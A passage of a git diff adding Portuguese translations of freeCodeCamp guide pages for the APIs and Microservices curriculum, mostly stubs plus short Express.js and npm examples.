+*   [API de tela MDN](https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md
new file mode 100644
index 0000000000..270cebb90d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md
@@ -0,0 +1,9 @@
+---
+title: Exercise Tracker
+localeTitle: Rastreador de Exercícios
+---
+## Rastreador de Exercícios
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/exercise-tracker/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md
new file mode 100644
index 0000000000..8f65a356e8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: File Metadata Microservice
+localeTitle: Microservice de Metadados de Arquivos
+---
+## Microservice de Metadados de Arquivos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/file-metadata-microservice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/index.md
new file mode 100644
index 0000000000..68436c2e3b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: APIs and Microservices Projects
+localeTitle: Projetos de APIs e Microservices
+---
+## Projetos de APIs e Microservices
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md
new file mode 100644
index 0000000000..d147c75906
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: Request Header Parser Microservice
+localeTitle: Solicitar Microservice do Analisador de Cabeçalhos
+---
+## Solicitar Microservice do Analisador de Cabeçalhos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/request-header-parser-microservice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md
new file mode 100644
index 0000000000..ab86e6d88d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: Timestamp Microservice
+localeTitle: Timestamp Microservice
+---
+## Timestamp Microservice
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/timestamp-microservice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md
new file mode 100644
index 0000000000..e3423bf24d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md
@@ -0,0 +1,9 @@
+---
+title: URL Shortener Microservice
+localeTitle: Microservice do Shortener de URL
+---
+## Microservice do Shortener de URL
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/apis-and-microservices-projects/url-shortener-microservice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md
new file mode 100644
index 0000000000..3c9b924db3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md
@@ -0,0 +1,21 @@
+---
+title: Chain Middleware to Create a Time Server
+localeTitle: Middleware Chain para criar um servidor de horário
+---
+## Middleware Chain para criar um servidor de horário
+
+Semelhante ao último desafio, mas agora estamos encadeando 2 funções juntas. Parece complicado, mas é apenas javascript.
+
+Em vez de responder com o tempo, também podemos adicionar uma string à solicitação e passá-la para a próxima função. Isso é trivial, mas é um exemplo decente. O código se parece com:
+
+```javascript
+app.get("/now", middleware(req, res, next) { 
+  req.string = "example"; 
+  next(); 
+ }, 
+  function (req, res) { 
+      res.send(req.string); // This will display "example" to the user 
+  }); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/chain-middleware-to-create-a-time-server/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md
new file mode 100644
index 0000000000..c085c5221d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-data-from-post-requests/index.md
@@ -0,0 +1,17 @@
+---
+title: Get Data from POST Requests
+localeTitle: Obter dados de solicitações de POST
+---
+## Obter dados de solicitações de POST
+
+Assim como usando req.query, podemos fazer req.body para obter nossos dados. Esse desafio é muito semelhante a "Obter entrada do parâmetro de consulta do cliente".
+
+Para obter dados de uma solicitação de postagem, um formato geral é:
+
+```javascript
+app.post(PATH, function(req, res) { 
+  // Handle the data in the request 
+ }); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md
new file mode 100644
index 0000000000..50c1548178
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md
@@ -0,0 +1,17 @@
+---
+title: Get Query Parameter Input from the Client
+localeTitle: Obter entrada de parâmetro de consulta do cliente
+---
+## Obter entrada de parâmetro de consulta do cliente
+
+Dada a dica após o stub, "/ name? First = & last = "podemos construir a resposta da seguinte forma:
+
+```javascript
+ app.get("/name", function(req, res) { 
+   var firstName = req.query.first; 
+   var lastName = req.query.last; 
+   // Send the json object 
+ }); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/get-query-parameter-input-from-the-client/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md
new file mode 100644
index 0000000000..c98cf46d88
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md
@@ -0,0 +1,16 @@
+---
+title: Get Route Parameter Input from the Client
+localeTitle: Obter entrada de parâmetro de rota do cliente
+---
+## Obter entrada de parâmetro de rota do cliente
+
+Se alguém lhe disser para construir um GET ou POST, você faria app.get (…) ou app.post (…) de acordo. A estrutura básica do desafio é:
+
+```javascript
+app.get("/:word/echo", function(req, res) { 
+  // word = req.params.word; 
+  // respond with the json object 
+ }); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/get-route-parameter-input-from-the-client/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md
new file mode 100644
index 0000000000..7200d2974c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md
@@ -0,0 +1,25 @@
+---
+title: Implement a Root-Level Request Logger Middleware
+localeTitle: Implementar um middleware de logger de solicitação de nível raiz
+---
+## Implementar um middleware de logger de solicitação de nível raiz
+
+É mais fácil escrever este desafio no topo (já existe um esboço para ele). Isso ocorre porque o middleware deve ser colocado para as chamadas de função que você deseja que sejam usadas.
+
+Para configurar seu próprio middleware, você pode fazer assim:
+
+```javascript
+app.use(function middleware(req, res, next) { 
+  // Do something 
+  // Call the next function in line: 
+  next(); 
+ }); 
+```
+
+Se você tiver problemas ao formatar a string corretamente, uma maneira de fazê-lo será:
+
+```javascript
+  var string = req.method + ' ' + req.path + ' - ' + req.ip; 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/index.md
new file mode 100644
index 0000000000..77f3f6288b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Node and Express
+localeTitle: Nó Básico e Express
+---
+## Nó Básico e Express
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md
new file mode 100644
index 0000000000..2b33168f73
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md
@@ -0,0 +1,18 @@
+---
+title: Meet the Node console
+localeTitle: Conheça o console do nó
+---
+## Conheça o console do nó
+
+Certifique-se de clonar o projeto correto de repositório / falha e está escrevendo seu código em myapp.js.
+
+Existem muitos métodos disponíveis no console do nó. Você pode encontrar uma lista desses métodos com a documentação do Node.js [aqui](https://nodejs.org/dist/latest-v10.x/docs/api/console.html) Um uso comum seria registrar erros como:
+
+```javascript
+    console.log("An error happened"); 
+```
+
+### Se você usa Glitch
+
+*   A Glitch alterou o botão "Registros" para o botão "Status", ainda no canto superior esquerdo, sob o nome do aplicativo
+*   Não envie a página "Editar" diretamente. Clique no botão "Mostrar" (na parte superior) e envie o URL da página de exibição do aplicativo (o formato de URL é como https://appname.glitch.me/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md
new file mode 100644
index 0000000000..085c344590
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md
@@ -0,0 +1,19 @@
+---
+title: Serve an HTML File
+localeTitle: Servir um arquivo HTML
+---
+## Servir um arquivo HTML
+
+Você provavelmente precisa comentar o último desafio. Se você tiver um site e quiser exibir um arquivo index.html, provavelmente desejará colocá-lo em uma pasta pública. Isso é para garantir que o público não veja algo que você não queira, e às vezes ele é chamado de "público" ou "visualizações", mas você pode tecnicamente chamá-lo como quiser.
+
+Para servir um index.html em uma pasta chamada "public" no domínio raiz, você faria assim:
+
+```javascript
+  app.get("/", function(req, res) { 
+        res.sendFile( __dirname + "/public/index.html"); 
+  }); 
+```
+
+Nota: \_\_dirname retorna o diretório raiz como uma boa prática para desenvolvedores de nós.
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md
new file mode 100644
index 0000000000..8194cad67b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md
@@ -0,0 +1,15 @@
+---
+title: Serve JSON on a Specific Route
+localeTitle: Servir JSON em uma rota específica
+---
+## Servir JSON em uma rota específica
+
+É bastante simples servir um objeto json com node (na rota '/ json'), se quisermos entregar uma mensagem e dar o valor "Hello World", podemos fazer assim:
+
+```javascript
+  app.get("/json", function(req, res) { 
+        res.json({"message": "Hello World"}); 
+  }); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md
new file mode 100644
index 0000000000..2d64a5ddee
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md
@@ -0,0 +1,17 @@
+---
+title: Serve Static Assets
+localeTitle: Ative os recursos estáticos
+---
+## Ative os recursos estáticos
+
+Páginas da Web estáticas são bastante simples com expresso. Isso pode ser útil para criar seu próprio site ou blog, etc.
+
+Para veicular uma página da Web estática a partir da pasta "visualizações", você pode usar códigos como:
+
+```javascript
+ const express = require("express"); 
+ const app = express(); 
+ app.use(express.static(__dirname + "/views")); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md
new file mode 100644
index 0000000000..7caad625ce
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md
@@ -0,0 +1,23 @@
+---
+title: Start a Working Express Server
+localeTitle: Inicie um servidor do Working Express
+---
+## Inicie um servidor do Working Express
+
+Se você tivesse um website em "example.com/" e desejasse veicular uma string como "Hello World" para quem visita o domínio raiz, poderia fazê-lo facilmente usando o nó e / ou express:
+
+```javascript
+app.get("/", function(req, res) { 
+  res.send("Hello World"); 
+ }); 
+```
+
+Além disso, com o ES6 + você pode salvar algumas digitações usando "=>" em vez de "function", que se parece com:
+
+```javascript
+app.get("/", (req, res) => { 
+  res.send("Hello World"); 
+ }); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md
new file mode 100644
index 0000000000..455a6f6751
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md
@@ -0,0 +1,17 @@
+---
+title: Use body-parser to Parse POST Requests
+localeTitle: Use o analisador de corpo para analisar solicitações de POST
+---
+## Use o analisador de corpo para analisar solicitações de POST
+
+O analisador de corpo já deve ser adicionado ao seu projeto se você usou o clichê fornecido, mas se não deveria estar lá como:
+
+```code
+"dependencies": { 
+    "body-parser": "^1.4.3", 
+    ... 
+```
+
+Você precisa fazer para este desafio é passar o middleware para app.use (). Certifique-se de que vem antes dos caminhos que ele precisa ser usado.
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md
new file mode 100644
index 0000000000..4c7aebbafc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md
@@ -0,0 +1,24 @@
+---
+title: Use the .env File
+localeTitle: Use o arquivo .env
+---
+## Use o arquivo .env
+
+Podemos usar o método .toUpperCase () para fazer uma string toda em maiúsculas, como:
+
+```javascript
+  var response = "Hello World".toUpperCase(); // now becomes "HELLO WORLD" 
+```
+
+Tudo o que precisamos fazer agora é verificar qual é o valor da variável de ambiente, como você pode fazer:
+
+```javascript
+   if (process.env.VAR_NAME === "allCaps") { 
+    resonse = "Hello World".toUpperCase(); 
+   } else { 
+    response = "Hello World"; 
+   } 
+  }); 
+```
+
+[Ajude nossa comunidade a expandir essas dicas e guias](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/index.md
new file mode 100644
index 0000000000..8d7a73a1ce
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/index.md
@@ -0,0 +1,11 @@
+---
+title: APIs and Microservices
+localeTitle: APIs e microsserviços
+---
+## APIs e microsserviços
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md
new file mode 100644
index 0000000000..05356d476a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md
@@ -0,0 +1,15 @@
+---
+title: Add a Description to Your package.json
+localeTitle: Adicione uma descrição ao seu pacote.json
+---
+## Adicione uma descrição ao seu pacote.json
+
+Para completar o desafio, siga os passos abaixo:
+
+*   Vá para o link fornecido na página de introdução da estatística do currículo. ![Introdução ao freecodecamp apis-and-microservices](https://user-images.githubusercontent.com/15084301/45616545-65732480-ba8d-11e8-9893-412ff6c68be5.png) [Link do projeto Glitch Starter](https://glitch.com/#!/import/github/freeCodeCamp/boilerplate-npm)
+    
+*   Edite o arquivo package.json e atualize o autor
+    
+*   Em seguida, clique no link da mostra (seu aplicativo) na parte superior do projeto Glitch para obter o link público ![Glitch link do projeto público](https://user-images.githubusercontent.com/15084301/45616579-8176c600-ba8d-11e8-8a46-4ac930578e74.png)
+    
+*   Envie o link na solução e pronto. ![página de sucesso](https://user-images.githubusercontent.com/15084301/45616757-019d2b80-ba8e-11e8-8b5b-98dc6d02c235.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md
new file mode 100644
index 0000000000..afc9d948e2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a License to Your package.json
+localeTitle: Adicione uma licença ao seu pacote.json
+---
+## Adicione uma licença ao seu pacote.json
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md
new file mode 100644
index 0000000000..cfdaaf7691
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Version to Your package.json
+localeTitle: Adicione uma versão ao seu pacote.json
+---
+## Adicione uma versão ao seu pacote.json
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md
new file mode 100644
index 0000000000..2e7c785357
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Keywords to Your package.json
+localeTitle: Adicione palavras-chave ao seu pacote.json
+---
+## Adicione palavras-chave ao seu pacote.json
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md
new file mode 100644
index 0000000000..6396919da8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md
@@ -0,0 +1,9 @@
+---
+title: Expand Your Project with External Packages from npm
+localeTitle: Expanda seu projeto com pacotes externos do npm
+---
+## Expanda seu projeto com pacotes externos do npm
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md
new file mode 100644
index 0000000000..2c8c2a92c6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Use package.json, the Core of Any Node.js Project or npm Package
+localeTitle: Como usar o package.json, o projeto Core of Any Node.js ou o pacote npm
+---
+## Como usar o package.json, o projeto Core of Any Node.js ou o pacote npm
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package.json-the-core-of-any-node.js-project-or-npm-package/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/index.md
new file mode 100644
index 0000000000..f0bd656365
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/index.md
@@ -0,0 +1,11 @@
+---
+title: Managing Packages with NPM
+localeTitle: Gerenciando Pacotes com o NPM
+---
+## Gerenciando Pacotes com o NPM
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md
new file mode 100644
index 0000000000..b0e5310746
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage npm Dependencies By Understanding Semantic Versioning
+localeTitle: Gerenciar as dependências do npm compreendendo o versionamento semântico
+---
+## Gerencie as dependências do npm compreendendo o versionamento semântico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md
new file mode 100644
index 0000000000..6c58ed2ffd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove a Package from Your Dependencies
+localeTitle: Remover um pacote de suas dependências
+---
+## Remover um pacote de suas dependências
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md b/client/src/guide/portuguese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md
new file mode 100644
index 0000000000..a7d0b8edab
--- /dev/null
